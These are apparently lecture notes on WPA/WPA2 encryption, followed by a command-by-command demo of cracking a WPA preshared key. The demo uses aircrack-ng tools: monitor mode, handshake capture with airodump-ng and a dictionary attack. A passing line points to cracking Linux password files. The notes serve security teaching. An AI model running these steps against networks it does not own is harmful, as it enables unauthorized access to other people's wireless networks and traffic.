WPA

WPA/WPA2
currently the best wifi encryption we have

wifi protected access
designed in response to the weakness found in WEP
originally implemented TKIP (temporary key integrity protocol)
basically, each packet is encrypted with a different 128-bit key
also verifies the integrity of packets (like a checksum)
WPA2 replaces TKIP with CCMP
an AES-based encryption protocol for wifi
stronger than TKIP
so your choices are
WPA with TKIP
WPA2 with CCMP
all keys are derived from a master preshared key (the one you enter in the WPA configuration)

authentication
based on a four-way handshake similar to WEP

weakness?
all packets are encrypted with a different key, so it seems strong!
but all of these keys are derived from the preshared key
since we know how they are derived, we can simply guess the preshared key
we can then try to decrypt packets and look for known encrypted values
so weak preshared keys are the problem

cracking WPA
****a live demo of the following may occur****
note that any values used here are just examples (i.e., they will be different for you)
you will need a WiFi interface that is capable of being put in monitor mode
it's also best if the device can inject packets
monitor mode: listen to APs without associating (hey, they're just waves!)
I recommend the Alfa AWUS036NHA (Google/Amazon it)
or the Alfa AWUS036NH (what I am probably using today)

first, we need aircrack (a suite of tools that largely automates various wifi activities):
```
sudo apt-get install aircrack-ng
```
we also need a dictionary to base our attacks on
a dictionary is just a list of words
the idea is to include words/phrases that may be used as passwords
we hope that the preshared key is easy to guess and is contained in this dictionary

the demo will be using SSID **Constellations** with passphrase cyberstorm
assuming a 192.168.1.* network (192.168.1.0/255.255.255.0)

open **two** terminals

connect the wifi interface (wlan)
get name and mac of wlan via **ifconfig** in terminal 1
```
int=wlan9
```

```
mac=00:c0:ca:58:e7:f4
```

get WAP specifics in terminals 1 and 2:

```
sudo iwlist $int scan | grep -E '(Address:|Channel:|ESSID:)'
essid=Constellations
bssid=68:7F:74:01:7C:C3
chan=9
```

stop the network manager since it will interfere with aircrack

```
sudo stop network-manager
```

bring wlan down in terminal 1 (if still up)

```
sudo ifconfig $int down
```

start monitoring in terminal 1 (you must have a wifi device that supports monitor mode)
monitor mode means to listen to an AP without authenticating with it
for us, it just means that we can see the encrypted packets (but they are encrypted)

```
sudo airmon-ng start $int $chan
```

this should have created a monitor interface (**mon0** in this case)
capture packets in terminal 1

```
sudo airodump-ng -c $chan --bssid $bssid -w output mon0
```

we now need to capture a handshake

- we can do this manually (someone connect)
- or we can fake an authentication
- this is sometimes a pain, in that airodump doesn't always catch the handshake
  - so try with various devices
- it's also possible that airodump doesn't let you know that it captured the handshake
  - so try to crack in terminal 2 once several devices have authenticated with the network

crack in terminal 2 (or stop capturing packets in terminal 1 and use the same terminal)
this assumes that the dictionary (words.txt) is in the current folder (along with the capture file(s))

```
sudo aircrack-ng -w words.txt -b $bssid output*.cap
```

of course, if the passphrase is not in the dictionary, then we won't find it!
but the larger dictionary contains the passphrase

```
sudo aircrack-ng -w morewords.txt -b $bssid output*.cap
```

stop the monitor interface and clean up in terminal 1

```
sudo airmon-ng stop mon0
sudo rm output-*.kismet.*
sudo rm output-*.csv
```

if desired, clean up the capture files with the handshake

```
sudo rm output-*.cap
```

it will also help if you unplug your WiFi interface (if USB) to reset everything

there are other tools that can take a capture file generated by airodump and crack WPA

- john the ripper
  - it can actually do way more than just crack WPA

e.g., Linux passwords (/etc/passwd)

FYI, to restart the network manager

```
sudo NetworkManager
```